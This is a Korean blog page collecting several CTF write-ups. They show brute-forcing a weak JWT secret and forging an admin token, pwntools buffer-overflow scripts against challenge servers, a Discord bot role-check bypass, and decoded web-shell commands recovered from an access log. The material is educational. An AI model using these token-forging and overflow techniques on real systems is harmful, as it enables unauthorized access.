728x90
반응형
728x90
반응형
728x90
반응형

https://x-mas.aleph.kr/

 

 

Weathering_With_You{Kato_Megumi}팀에서 문제를 풀었습니다.

 

 

Strange Elephpant (misc)

Something wrong happened to my cute elephpant.. :(

 

 

코끼리와 가위바위보를 하면 된다.

 

 

 

코끼리가 낸 가위 바위 보를 보고 조건에 맞춰서 가위 바위 보를 내면 된다. 제한시간은 2초.

어딘가 잘못된 PHP 코끼리에게 져 주세요!

어딘가 잘못된 PHP 코끼리와 비겨주세요!

어딘가 잘못된 PHP 코끼리를 이겨주세요!

 

 

 

 

문제를 손으로 풀려는 시도를 하던 중에 한 가지 사실을 알아 낼 수 있었다.

 

새로고침을 계속 해도

1. 이긴 라운드의 수는 초기화되지 않는다.
2. 제한시간은 초기화된다.
(마지막으로 새로고침한 시점 이후 2초가 지나야 time out. 새로고침을 2초 이상 해도 상관이 없다.)
3. 코끼리와 조건만 바뀔 뿐

 

 

이를 이용해서, 조건이 '비겨주세요'가 나올 때 까지 무한 새로고침해서 코끼리가 낸 것을 보고 그대로 내주면 된다.

이 과정을 100번해서 플래그를 얻을 수 있었다. (하고 나면 손이 저린다.)

 

 

 

FLAG : XMAS{k0ggiri_ahjeossi_neun_k0ga_son_irae}

코끼리 아저씨 는 코가 손 이래

 

 

 

 


 

 

JWT (web)

Plz crack jwt

 

 

소스코드 파일도 제공되었다.

 

 

src/routes/bruth.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
const { UserBruth, BoardBruth } = require('../sequelize');
 
const jwt = require('jsonwebtoken');
const express = require('express');
const router = express.Router();
 
const CONF = require('../config');
const { wrap, getHash } = require('../func');
 
router.use(express.static(`${__dirname}/../static/bruth`));
 
router.use((req, res, next) => {
  const token = req.cookies.token_b;
  if (token) {
    jwt.verify(token, CONF.jwt.bruth.key, CONF.jwt.bruth.options, (err, decoded) => {
      if (err) {
        if (err.name === 'TokenExpiredError') {
          return res.send({ code: 401, msg: '토큰이 만료되었습니다' });
        } else if (err.name === 'JsonWebTokenError') {
          return res.send({ code: 401, msg: '토큰에 에러가 있습니다' });
        } else {
          return res.send({ code: 401, msg: "토큰 인증 절차에 오류가 발생했습니다", err: err.message });
        }
      } else {
        req.auth = decoded;
        next();
      }
    });
  } else {
    next();
  }
});
 
router.post('/join', wrap(async (req, res) => {
  const { username, password } = req.body;
 
  if (!username || !password) return res.send({ code: 400 });
 
  const u = await UserBruth.findOne({
    where: { username },
    attributes: ['id'],
  });
  if (u) return res.send({ code: 423 });
 
  const user = await UserBruth.create({
    username,
    password: getHash(password)
  });
 
  res.send({ code: 200, id: await user.get('id') });
}));
 
router.post('/login', wrap(async (req, res) => {
  const { username, password } = req.body;
 
  if (!username || !password) return res.send({ code: 400 });
 
  const user = await UserBruth.findOne({
    where: {
      username,
      password: getHash(password)
    },
    attributes: ['id'],
  });
  if (!user) return res.send({ code: 404 });
 
  const token = jwt.sign(
    {
      uid: user.id,
      isAdmin: false
    },
    CONF.jwt.bruth.key,
    CONF.jwt.bruth.options
  );
  res.cookie('token_b', token, { httpOnly: true });
  res.send({ code: 200 });
}));
 
router.get('/logout', (req, res) => {
  res.cookie('token_b''', { maxAge: Date.now() });
  res.redirect('.');
});
 
router.get('/me', needAuth, wrap(async (req, res) => {
  const { uid } = req.auth;
 
  const user = await UserBruth.findOne({ where: { id: uid }, attributes: ['username'] });
  if (!user) return res.send({ code: 500 });
 
  res.send({ code: 200, username: user.username });
}));
 
router.get('/flag', wrap(async (req, res) => {
  if (!req.auth) return res.send({ code: 401 });
  if (!req.auth.isAdmin) return res.send({ code: 403 });
 
  res.send({ code: 200, flag: CONF.flag.bruth });
}));
 
function needAuth(req, res, next) {
  if (!req.auth) return res.send({ code: 401 });
  next();
}
 
module.exports = router;
cs

 

 

 

93행을 보면, /flag로 접근하면

 

로그인이 되어 있는지 검증 (94행)

isAdmin값이 True인지 검증 (95행)  을 해서 flag를 준다.

 

 

 

isAdmin은 로그인시 jwt token값에 들어간다. (70행)

 

해당 토근 값은 로그인 후, token_b 쿠키값에서 확인할 수 있다.

 

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOjEyMCwiaXNBZG1pbiI6ZmFsc2UsImlhdCI6MTU3NzI1MzQ5NiwiZXhwIjoxNTc3MzM5ODk2LCJpc3MiOiJjMncybTIifQ.W6NBpwj2BYY5ghioV8EjaqdwSdHZFk-1heFHy7dvGWM

 

 

 

 

 

 

jwt는 .으로 구분되며 header.payload.signature 와 같은 구조를 하고 있다.

 

 

 

아래 사이트에서 내용을 평문으로 확인 할 수 있다. (base64로 봐도 된다.)

https://jwt.io/

 

JWT.IO

JSON Web Tokens are an open, industry standard RFC 7519 method for representing claims securely between two parties.

jwt.io

 

 

isAdmin이 Fasle로 되어 있는데 True로 바꿔주면 된다.

 

 

 

그러나 그냥 바꾸게되면 signature 부분 때문에 효력이 없어진다.

 

payload를 바꾸고 서명까지 완벽하게 하기 위해서는 secret값이 필요하다.

 

 

 

 

 

src/config.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
const fs = require('fs');
 
module.exports = {
  http: {
    port: 8011,
    flagPort: 8012,
  },
  https: {
    use: false,
    port: 443,
    key: './src/ssl/private.key',
    cert: './src/ssl/certificate.crt',
  },
  db: {
    host: 'mysql',
    port: '3306',
    database: '',
    user: '',
    password: '',
  },
  jwt: {
    bruth: {
      key: '********'// 0~9, 8 length
      options: {
        issuer: 'c2w2m2',
        expiresIn: '1d',
        algorithm: 'HS256',
      }
    },
    csrf: {
      key: {
        private: fs.readFileSync('./keys/private.key'),
        public: fs.readFileSync('./keys/public.key'),
      },
      options: {
        issuer: 'c2w2m2',
        expiresIn: '1h',
        algorithm: 'RS256',
      },
    },
  },
  flag: {
    bruth: '',
    csrf: '',
  },
  hashSort: '',
  password: '',
}
 
cs

23행을 보면 key값은 0~9로 이루어진 8자리라는 힌트를 얻을 수 있다.

 

 

 

 

 

 

 

 

 

 

key값을 구하기 위해 brute force attack을 사용했다.

 

 

0. crunch로 사전 파일을 생성한다.

 

$crunch 8 8 1234567890 -o ./pw.txt

 

최소길이 8, 최대길이 8, 조합1234567890, output

 

 

 

 

1. jwtcat을 이용하여 brute force attack

 

https://github.com/aress31/jwtcat

 

aress31/jwtcat

JSON Web Token (JWT) cracker. Contribute to aress31/jwtcat development by creating an account on GitHub.

github.com

 

 

$ python3 jwtcat.py -t eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOjEyMCwiaXNBZG1pbiI6ZmFsc2UsImlhdCI6MTU3NzI1MDY1MSwiZXhwIjoxNTc3MzM3MDUxLCJpc3MiOiJjMncybTIifQ.4DSqfDJRM1iyiw1OmiCsrN67bOw9iWW-RuXe0PMcU6Q -w ./pw.txt
[INFO] JWT: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOjEyMCwiaXNBZG1pbiI6ZmFsc2UsImlhdCI6MTU3NzI1MDY1MSwiZXhwIjoxNTc3MzM3MDUxLCJpc3MiOiJjMncybTIifQ.4DSqfDJRM1iyiw1OmiCsrN67bOw9iWW-RuXe0PMcU6Q 
[INFO] Wordlist: ./pw.txt 
[INFO] Starting brute-force attacks
[WARNING] Pour yourself some coffee, this might take a while...
[INFO] Secret key: 40906795 
[INFO] Secret key saved to location: jwtpot.potfile 
[INFO] Finished in 2233.2587053775787 sec

Ryzen 1700의 16개 쓰레드중 3개 사용(가상머신)하여 37분 소요됐다. (중간진행상황을 안보여줘서 불편..)

 

 

 

 

2. jwt-tool을 이용해서 토큰의 내용을 수정해준다.

 

https://github.com/ticarpi/jwt_tool

 

ticarpi/jwt_tool

:snake: A toolkit for testing, tweaking and cracking JSON Web Tokens - ticarpi/jwt_tool

github.com

 

$ python3 jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOjEyMCwiaXNBZG1pbiI6ZmFsc2UsImlhdCI6MTU3NzI1MzQ5NiwiZXhwIjoxNTc3MzM5ODk2LCJpc3MiOiJjMncybTIifQ.W6NBpwj2BYY5ghioV8EjaqdwSdHZFk-1heFHy7dvGWM

   $$$$$\ $$\      $$\ $$$$$$$$\  $$$$$$$$\                  $$\ 
   \__$$ |$$ | $\  $$ |\__$$  __| \__$$  __|                 $$ |
      $$ |$$ |$$$\ $$ |   $$ |       $$ | $$$$$$\   $$$$$$\  $$ |
      $$ |$$ $$ $$\$$ |   $$ |       $$ |$$  __$$\ $$  __$$\ $$ |
$$\   $$ |$$$$  _$$$$ |   $$ |       $$ |$$ /  $$ |$$ /  $$ |$$ |
$$ |  $$ |$$$  / \$$$ |   $$ |       $$ |$$ |  $$ |$$ |  $$ |$$ |
\$$$$$$  |$$  /   \$$ |   $$ |       $$ |\$$$$$$  |\$$$$$$  |$$ |
 \______/ \__/     \__|   \__|$$$$$$\__| \______/  \______/ \__|
 Version 1.3.2                \______|                           


=====================
Decoded Token Values:
=====================

Token header values:
[+] alg = HS256
[+] typ = JWT

Token payload values:
[+] uid = 120
[+] isAdmin = False
[+] iat = 1577253496    ==> TIMESTAMP = 2019-12-25 14:58:16 (UTC)
[+] exp = 1577339896    ==> TIMESTAMP = 2019-12-26 14:58:16 (UTC)
[+] iss = c2w2m2

Seen timestamps:
[*] iat was seen
[+] exp is later than iat by: 1 days, 0 hours, 0 mins

----------------------
JWT common timestamps:
iat = IssuedAt
exp = Expires
nbf = NotBefore
----------------------


########################################################
#  Options:                                            #
#                ==== TAMPERING ====                   #
#  1: Tamper with JWT data (multiple signing options)  #
#                                                      #
#             ==== VULNERABILITIES ====                #
#  2: Check for the "none" algorithm vulnerability     #
#  3: Check for HS/RSA key confusion vulnerability     #
#  4: Check for JWKS key injection vulnerability       #
#                                                      #
#            ==== CRACKING/GUESSING ====               #
#  5: Check HS signature against a key (password)      #
#  6: Check HS signature against key file              #
#  7: Crack signature with supplied dictionary file    #
#                                                      #
#            ==== RSA KEY FUNCTIONS ====               #
#  8: Verify RSA signature against a Public Key        #
#                                                      #
#  0: Quit                                             #
########################################################

Please make a selection (1-6)
> 1

====================================================================
This option allows you to tamper with the header, contents and 
signature of the JWT.
====================================================================

Token header values:
[1] alg = HS256
[2] typ = JWT
[3] *ADD A VALUE*
[4] *DELETE A VALUE*
[0] Continue to next step

Please select a field number:
(or 0 to Continue)
> 0

Token payload values:
[1] uid = 120
[2] isAdmin = False
[3] iat = 1577253496    ==> TIMESTAMP = 2019-12-25 14:58:16 (UTC)
[4] exp = 1577339896    ==> TIMESTAMP = 2019-12-26 14:58:16 (UTC)
[5] iss = c2w2m2
[6] *ADD A VALUE*
[7] *DELETE A VALUE*
[8] *UPDATE TIMESTAMPS*
[0] Continue to next step

Please select a field number:
(or 0 to Continue)
> 2

Current value of isAdmin is: False
Please enter new value and hit ENTER
> True
[1] uid = 120
[2] isAdmin = True
[3] iat = 1577253496    ==> TIMESTAMP = 2019-12-25 14:58:16 (UTC)
[4] exp = 1577339896    ==> TIMESTAMP = 2019-12-26 14:58:16 (UTC)
[5] iss = c2w2m2
[6] *ADD A VALUE*
[7] *DELETE A VALUE*
[8] *UPDATE TIMESTAMPS*
[0] Continue to next step

Please select a field number:
(or 0 to Continue)
> 0

Token Signing:
[1] Sign token with known HMAC-SHA 'secret'
[2] Sign token with RSA/ECDSA Private Key
[3] Strip signature using the "none" algorithm
[4] Sign with HS/RSA key confusion vulnerability
[5] Sign token with key file
[6] Inject a key and self-sign the token (CVE-2018-0114)
[7] Self-sign the token and export an external JWKS
[8] Keep original signature

Please select an option from above (1-5):
> 1

Please enter the known key:
> 40906795

Please enter the keylength:
[1] HMAC-SHA256
[2] HMAC-SHA384
[3] HMAC-SHA512
> 1

Your new forged token:
[+] URL safe: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOjEyMCwiaXNBZG1pbiI6IlRydWUiLCJpYXQiOjE1NzcyNTM0OTYsImV4cCI6MTU3NzMzOTg5NiwiaXNzIjoiYzJ3Mm0yIn0.3f5Cevozi5UdonpqLNEmyC8osj0vbBTigDGClThJ2E4
[+] Standard: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOjEyMCwiaXNBZG1pbiI6IlRydWUiLCJpYXQiOjE1NzcyNTM0OTYsImV4cCI6MTU3NzMzOTg5NiwiaXNzIjoiYzJ3Mm0yIn0.3f5Cevozi5UdonpqLNEmyC8osj0vbBTigDGClThJ2E4

config.js를 보면 HS256으로 되어 있기 때문에 HMAC-SHA256을 선택해준다.

 

 

 

 

 

새로운 토큰값으로 쿠키를 바꾸고 /flag로 접근하면 flag가 표시된다.

 

{"code":200,"flag":"XMAS{bru73-f0rc3-jw7_^^7}"}

 

728x90
반응형

'CTF Write Up' 카테고리의 다른 글

UTCTF 2020 Write up  (0) 2020.03.07
RiceTeaCatPanda CTF 2020 Write up  (0) 2020.01.22
UTC-CTF 2019 Teaser write-up  (0) 2019.12.22
X-MAS CTF 2019 X-MAS Helper write-up  (0) 2019.12.21
THE HACKING CHAMPIONSHIP JUNIOR 2019 FINAL Write-up  (0) 2019.12.10
728x90
반응형

https://ctftime.org/event/948

 

UTC-CTF 2019 Teaser

금요일, 20 12월 2019, 23:00 UTC — 토요일, 21 12월 2019, 23:00 UTC  On-line A UTC-CTF event. Format: Jeopardy  Official URL: https://utc-ctf.club/ Future weight: 0.00  Rating weight: 0.00  Event organizers 

ctftime.org


PWN

Simple bof (baby)

Want to learn the hacker's secret? Try to smash this buffer!

You need guidance? Look no further than to Mr. Liveoverflow. He puts out nice videos you should look if you haven't already

By: theKidOfArcrania

nc chal.utc-ctf.club 35235

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
 
// Defined in a separate source file for simplicity.
void init_visualize(char* buff);
void visualize(char* buff);
void safeguard();
 
void print_flag();
 
void vuln() {
  char padding[16];
  char buff[32];
  int notsecret = 0xffffff00;
  int secret = 0xdeadbeef;
 
  memset(buff, 0sizeof(buff)); // Zero-out the buffer.
  memset(padding, 0xFFsizeof(padding)); // Zero-out the padding.
 
  // Initializes the stack visualization. Don't worry about it!
  init_visualize(buff); 
 
  // Prints out the stack before modification
  visualize(buff);
 
  printf("Input some text: ");
  gets(buff); // This is a vulnerable call!
 
  // Prints out the stack after modification
  visualize(buff); 
 
  // Check if secret has changed.
  if (secret == 0x67616c66) {
    puts("You did it! Congratuations!");
    print_flag(); // Print out the flag. You deserve it.
    return;
  } else if (notsecret != 0xffffff00) {
    puts("Uhmm... maybe you overflowed too much. Try deleting a few characters.");
  } else if (secret != 0xdeadbeef) {
    puts("Wow you overflowed the secret value! Now try controlling the value of it!");
  } else {
    puts("Maybe you haven't overflowed enough characters? Try again?");
  }
 
  exit(0);
}
 
int main() {
  safeguard();
  vuln();
}
 
cs

 

정말 친절한 bof 문제다..

 

 

 

ex.py

1
2
3
4
5
6
7
8
9
10
from pwn import *
 
= remote("chal.utc-ctf.club"35235)
 
= 0x67616c66
payload = "A"*48 + p32(a)
 
p.recvuntil("Input some text: ")
p.sendline(payload)
p.interactive()
cs

 

 

FLAG : utc{buffer_0verflows_4re_c00l!}

 

 


Crypto

 

RSAcue [not solved]

I heard you like to RSAcue the world. There we go

By: knapstack

 

 

공개키로 publickey.pem이 주어졌다.

 

여기서 n값을 구해내보자! (openssl)

https://stackoverflow.com/questions/3116907/rsa-get-exponent-and-modulus-given-a-public-key

 

RSA: Get exponent and modulus given a public key

I need to encrypt some data using RSA in JavaScript. All of the libraries around ask for an exponent and a modulus, yet I get a single public.key file from my opponent. How do you retrieve the pu...

stackoverflow.com

 

깔끔하게 보는 방법도 나와 있다.

 

 

 

 


MISC

 

 

Optics 1 (baby)

 

I dropped out of my physics class due to boring optical theory. I joined Forensics class thereafter. But, I found Optics there too. Help me clear this class :facepalm:

By: knapstack

 

 

png 파일이 하나 주어지는데, 열려고 하면 열리지 않는다.

 

Hxd로 열어보면 header signuature가 잘못 설정되어 있는 것을 알 수 있다.

 

0x1~0x3이 LOL로 되어 있는데 이를 PNG로 바꿔주면 파일이 정상적으로 열린다.

0x50 0x4e 0x47

 

QR코드 이미지가 나오는데, 이를 스캔해주면 flag가 나온다.

 

 

FLAG: utc{dang_you_know_qr_decoding_and_shit}

 


Sanity Check

 

Join our discord and get a free flag.

 

 

와 공짜 플래그

 

FLAG : utc{whats_discord_lol}

 


REVERSING

 

Strings (baby)

 

Itz not giving me flag...

GIMMME THE FLAG

By: theKidOfArcrania

 

 

strings 라는 파일이 주어진다.

 

 

HxD로 열어보면 ELF 헤더 시그니쳐를 확인 할 수 있다.

Open with HxD, you can find ELF header signature.

So, this file's format is ELF.

 

 

 

 

 

그리고 exeinfo PE를 통해 64bit elf 라는 것도 알 수 있다.

 

 

64bit elf 파일이기 때문에, ida 64bit로 연다.

 

문제 제목이 strings이기 때문에, 문자열들을 확인해 주면 된다.

Check out strings!

 

 

main함수에는 fake flag가 있다.

you can find fake flag in main FUNC.

 

 

 

 

real flag는 여기서 찾을 수 있다.

Real flag is in here!

 

 

FLAG : utc{that_waz_ezpz}


 

 

 

 

 

 

 

 

728x90
반응형
728x90
반응형

https://ctftime.org/event/926

 

X-MAS CTF 2019

1. 3 Months ProLab voucher or 1 year HackTheBox VIP subscription (you choose) 2. 2 Months ProLab voucher or 1 year HackTheBox VIP subscription (you choose) 3. 1 Month ProLab voucher or 1 year HackTheBox VIP subscription (you choose) Top 3 teams also receiv

ctftime.org

X-MAS Helper

 

As organizers of X-MAS CTF, we are using bots to ensure that the competition keeps running smoothly. We have made this Discord bot: X-MAS Helper#2918 to help us check the flags for various challenges by using the !flag command. This command is safe to use because the bot actively checks if the requesting user has the Organizer role assigned, so regular participants can't access the flags.

We're so sure that the code is secure, that we're willing to share the part that checks the role:

 

Code:

if (message.content == "!flag"):

ok = False

for role in message.author.roles:

if (role.name == "Organizer"):

ok = True

if (ok):

printer = "The flag is: **{}**".format (FLAG)

else:

printer = "Unauthorized."


Author: Milkdrop
Note: The music bot (FredBoat) and MicroBot are not part of this challenge. Do not try to exploit them.

 

 

 

 

 

디스코드 봇을 활용한 문제다.

 

!flag 라고 메세지를 보내면 역할 이름을 확인해서 flag를 보내준다.

 

 

내 역할 이름이 Organizer 이어야 하는데 해당 봇이 있는 X-MAS CTF 디스코드 채널에서 내 역할은 아무것도 없다.

 

그래서 해당 채널에서 아무리 !flag를 보내봐야 플래그를 주지 않는다.

 

 

 

flag를 얻는 방법은 간단하다. 내 역할 이름이 Organizer가 되면 된다!

 

디스코드 봇은 client id만 알면 내 서버로 초대를 할 수가 있다.

 

직접 서버를 파서 봇을 초대한 뒤에 역할도 만들어서 !flag를 보내면 봇이 flag를 보내준다.

 

 

 

디스코드 봇 초대링크:

https://discordapp.com/oauth2/authorize?clinet_id=****&scope=bot

 

 

 

client id는 쉽게 구할 수 있다.

 

디스코드 앱에서 > 톱니바퀴 > 디스플레이 > 고급 > 개발자 모드 활성화

 

해당 봇 우클릭 > ID 복사하기

 

 

위 링크에서 ****대신에 id 입력!

 

 

 

 

 

EZ

 

 

 

728x90
반응형
728x90
반응형

Pwnable

It's very simple bof

50

str과 str2 사이에 dummy가 없다고 가정하고 str2 10바이트 채워주고 바로 다음 Hello, world!로 str을 채워주면 된다.

728x90
반응형
728x90
반응형

http://52.79.224.215

 

Multimedia Forensic

 

Welcome Forensic World

30

 

hxd로 열어보면 된다.

 

 

Where_is_flag

50

 

jpg시그니쳐 9바이트 채워주면 된다.

 

 

 

 

Dark web

100

hint : base

 

힌트가 base이다. base32나 base64라고 생각하고, 패딩 문자열 ==hxd를 통해 검색하면, 바로 찾을 수 있다.

 

JYYDAYSDKRDHWZCAOJVV65ZTMJPUSNK7MRAG4OLFOIYHKUZBEF6Q====

 

이를 base32로 디코딩하면 된다.

 

 

 

 

What is docx?

100

찾기로 flag 가 하나 나오는데 그건 fake이다.

 

.zip으로 바꾸면 암호걸린 flag.zip이 나오는데 key는 media폴더에서 찾을 수 있다.

 

 

 

Please open steganography

200

 

문제의 제목에서 open 을 통해 open stego를 써야된다는 것을 알 수 있다.

 

패스워드는 해당 png파일을 hxd로 열어서 마지막쯤에 있는 OPENLOCK 을 사용하면 된다.

 

추출하면 flag.txt가 추출된다.

728x90
반응형
728x90
반응형

http://52.79.224.215

 

Pwn

What is bof?

100

exeinfo.exe로 32bit elf 파일임을 알아내고 ida 32bit로 연다.

 

main() 과 flag()

1
2
3
4
5
6
7
8
9
10
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [sp+0h] [bp-14h]@1
 
  setvbuf(_bss_start, 020);
  printf("Go through it!! >> ");
  gets(&s);
  printf("YOu Input : %s\n"&s);
  return 0;
}
cs
1
2
3
4
5
int flag()
{
  printf("Y0u Ar3 Fl@g Here!!");
  return system("/bin/sh");
}
cs

 

main함수에서 발생하는 bof를 통해 ret주소를 flag()의 주소로 덮어서 쉘을 실행시킨 뒤, flag 파일을 읽으면 된다.

 

main:7 에서 입력길이에 제한이 없는 gets() 함수를 사용하므로  ret을 덮을 수 있다.

 

s는 bp-14h에 위치한다. 

 

s[20] + sfp[4] + ret[4]     ==========> 24바이트를 덮고 retflag()주소인 0x08048516으로 덮으면 된다.

 

 

ex.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#python
from pwn import *
 
= remote("52.79.224.215"30005)
 
flag = 0x08048516
 
payload = "A"*24 + p32(flag)
 
p.recvuntil(">> ")
p.sendline(payload)
 
p.interactive()
 
cs

 

very ezzzzzz!!

100

what is bof? 문제와 동일 하다.

 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [sp+0h] [bp-40h]@1
 
  setbuf(stdout, 0);
  setbuf(stdin, 0);
  setbuf(stderr, 0);
  gets(&s);
  sleep_puts("Wait!!!!!!");
  sleep_puts("You should stop");
  sleep_puts("Stealing flag...");
  sleep_puts("Wait 10sec..");
  sleep_puts("Wait 8sec..");
  sleep_puts("Wait 6sec..");
  sleep_puts("Wait 4sec..");
  sleep_puts("Wait 2sec..");
  sleep_puts("Okay");
  sleep_puts("I'll give you a flag!!");
  puts("N00bCTF{wow_your_very_good!!}");
  return 0;
}
cs

 

gets함수를 사용하고 있고, s는 bp-40h에 위치한다.

 

sfp까지 해서 68바이트를 덮고 ret을 get_flag()함수 주소로 덮어주면 된다.

 

get_flag() : 0x08048556

 

 

ex.py

1
2
3
4
5
6
7
8
9
10
11
12
#python
from pwn import *
 
= remote("52.79.224.215"30006)
 
flag = 0x08048556
 
payload = "A"*68 + p32(flag)
 
p.sendline(payload)
 
p.interactive()
cs

 

 

 

Over the RET

150

 

1
2
3
4
5
int __cdecl main(int argc, const char **argv, const char **envp)
{
  vuln(18273645);
  return 0;
}
cs
1
2
3
4
5
6
7
8
9
10
11
int __cdecl vuln(int a1)
{
  int result; // eax@1
  char s; // [sp+0h] [bp-40h]@1
 
  gets(&s);
  result = puts(&s);
  if ( a1 == 12563478 )
    result = system("/bin/sh");
  return result;
}
cs

 

main함수에서 vuln함수를 호출하고 인자(a1)로  18273645를 주고 있다.

vuln함수에서는 그 인자(a1)의 값dl 12563478이면 쉘을 실행한다.

 

 

a1은 bp+8h에 위치한다.

 

s[bp-40h]=====64bytes=======sfp[4]==ret[4]==a1[bp+8h]

이고, gets(&s); 를 사용하므로 총72바이트를 덮고 그 다음 값으로 a1을 덮을 수 있다.

 

 

ex.py

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
 
= remote("52.79.224.215"30007)
 
a1 = 12563478
 
payload = "A"*72 + p32(a1)
 
 
p.sendline(payload)
 
p.interactive()
 
cs

 

728x90
반응형
728x90
반응형

http://52.79.224.215

 

 

Disk Forensic

Emergency!! Leak my source code..

100

access.log를 먼저 봤다. 모든 접근 기록이 담겨 있어서 모든 것을 조사해 볼 수는 없었다. 범위를 좁히기 위해서 다른 파일들을 살펴 보았다.

 

 

 

sad파일에서 수상한 pid를 찾을 수 있다.

 

               pid    ppid

www-data  5230  5244  0 10:11 ?        00:00:00 php -f /var/www/upload/ws1004/image/hack.php
www-data  5244   814  0 10:11 ?        00:00:00 sh -c php -f /var/www/upload/ws1004/image/hack.php

 

 

hack.php와 관련이 있음을 구할 수 있다. hack.php와 관련한 로그만 찾으면 되기 때문에 access.log에서 hack.php를 검색해서 나오는 모든 로그들을 모았다.

 

 

 

 

[25/Oct/2019:17:18:51 +0900] cHdk
[25/Oct/2019:17:26:23 +0900] bHMgLWFsICAvdmFyL3d3dy91cGxvYWQvd3MxMDA0L2ltYWdlLw%3D%3D
[25/Oct/2019:17:21:12 +0900] dGFyIC1jdmYgL3Zhci93d3cvdXBsb2FkL3dzMTAwNC9pbWFnZS8xMjU5MTIzNzQ5IC92YXIvd3d3Lw%3D%3D
[25/Oct/2019:17:26:40 +0900] cGhwIC1mIC92YXIvd3d3L3VwbG9hZC93czEwMDQvaW1hZ2UvaGFjay5waHA%3D

 

시각과 쿼리로 넘어가는 명령어만 기록해봤다.

 

 

base64로 인코딩 되었는데, 4번째 명령어는 아래와 같다.

php -f /var/www/upload/ws1004/image/hack.php

 

해당 명령어를 실행하는 쉘의 pid는 5230이다.

 

따라서 플래그는 N00bCTF{2019-10-25_17:26:40&5244} 가 된다.

728x90
반응형
728x90
반응형

Cryptography

 

Art 150

https://www.brynmawr.edu/bulletin/codes-and-ciphers-puts-students-test

INFO{HO_OHO_OHOOHO_HELLO_THIS_IS_MATSURI_YOU_KNOW_FREEMASON_CIPHER!!!!}

 

 

 

Quick Brown Fox

150

 

1. 모스부호 디코딩 -> 2. dec to ascii -> 3. reverse(앞 뒤를 뒤집는다.) -> link!(링크로 접속) and find flag in imag (이미지 속에서 플래그를 찾을 수 있다.)

 

1. https://morsecode.scphillips.com/translator.html

 

2. https://www.branah.com/ascii-converter

변환후 Remove spaces 클릭하자

 

3. https://cryptii.com/

Reverse 선택

 

 

 

 

Baby RSA 250

c^d mod (p*q) = m(평문)

 

system32.kr RSA 문제들 풀이 참조

 

https://mandu-mandu.tistory.com/category/WAR%20GAME/System32.kr

 

'WAR GAME/System32.kr' 카테고리의 글 목록

 

mandu-mandu.tistory.com

 

 

VcipherTEXT

250

비제네르 키 길이 3로 브포 공격

https://www.dcode.fr/vigenere-cipher

 

key 길이 3을 몰라도, 브포 공격으로 해도 나오긴 한다.

 

 

 

No RSA No Life

rsatool.py 이용해서 d를 구한뒤 baby rsa와 동일 풀이

 

system32.kr RSA문제 풀이 참조:

https://mandu-mandu.tistory.com/category/WAR%20GAME/System32.kr

 

'WAR GAME/System32.kr' 카테고리의 글 목록

 

mandu-mandu.tistory.com

728x90
반응형
728x90
반응형

Timisoara CTF 2019 Write-up

TEAM : WTB

 

 

제출했던 풀이 보고서(영문): write-up:

Timisoara_CTF_2019_Quals_Write-up_WTB.docx
4.40MB

 

 

아래는 제가 푼 문제 + a 들의 풀이입니다. (곧 세부설명 수정)

 

CRYPTO

Baby Crypto (50pts) 

This file seems... odd

 

Otil bw amm gwc uilm qb! Emtkwum bw bpm ewvlmznct ewztl wn kzgxbwozixpg! Pmzm qa gwcz zmeizl: BQUKBN{Rctqca_Kimaiz_e0ctl_j3_xzwcl}

 

카이사르 돌리면 된다.

 

 

Proof of work (100pts)

 

While developing an anti-bot system we thought of a system to test if the users are indeed human. You need to enter a string whose SHA256 has the last 7 digits 0. As this hash is secure you need to use some processing power, thus denying spam. Sort of like mining bitcoin.

 

0부터 1씩 증가시켜서 전부 sha256을 돌린다.

돌려서 끝에 7자리가 0인 것을 뽑아내면 된다.

 

python3는 느리기 때문에 pypy3를 설치해서 사용했다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
import hashlib
 
= 0
while True:
    string = str(i)
    encoded_string = string.encode()
    hexdigest = hashlib.sha256(encoded_string).hexdigest()
    if "0000000" in str(hexdigest):
        print(str(i) +": " +hexdigest)
    i = i +1
 
#365512095
#TIMCTF{9e13449f334ded947431aa5001c2e9ab429ab5ddf880f416fe352a96eb2af122}
cs

 

10분이상 돌렸던 것 같다.

 

 

Alien Alphabet (150pts) 

I found this strange text. It is written in some strange alphabet. Can you decode it?

 

직접 문자에 알파벳 치환시켜서 빈도분석.

 

 

Password breaker (150pts) 

I heard you were good at cracking passwords!

Hint! What are the most common attacks on a password? Dictionary and bruteforce

Hint! If it takes more than a few minutes you're doing it wrong.

 

1. 사전공격

2. 브포공격

 

 

TimCTF gamblig service (200pts) 

Predict the next number to win. Are you that lucky?

시간기반 랜덤값

pipe 2개 연결해서 하나는 값을 받고 하나는 받은 값을 그대로 보내버리면 됨.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
 
= remote("89.38.208.143"21023)
p2 = remote("89.38.208.143"21023)
p.recvuntil(": ")
p.sendline("1")
 
p2.recvuntil(": ")
p2.sendline("2")
 
= p.recvline()
p.close()
p2.sendline(n)
 
p2.interactive()
 
cs
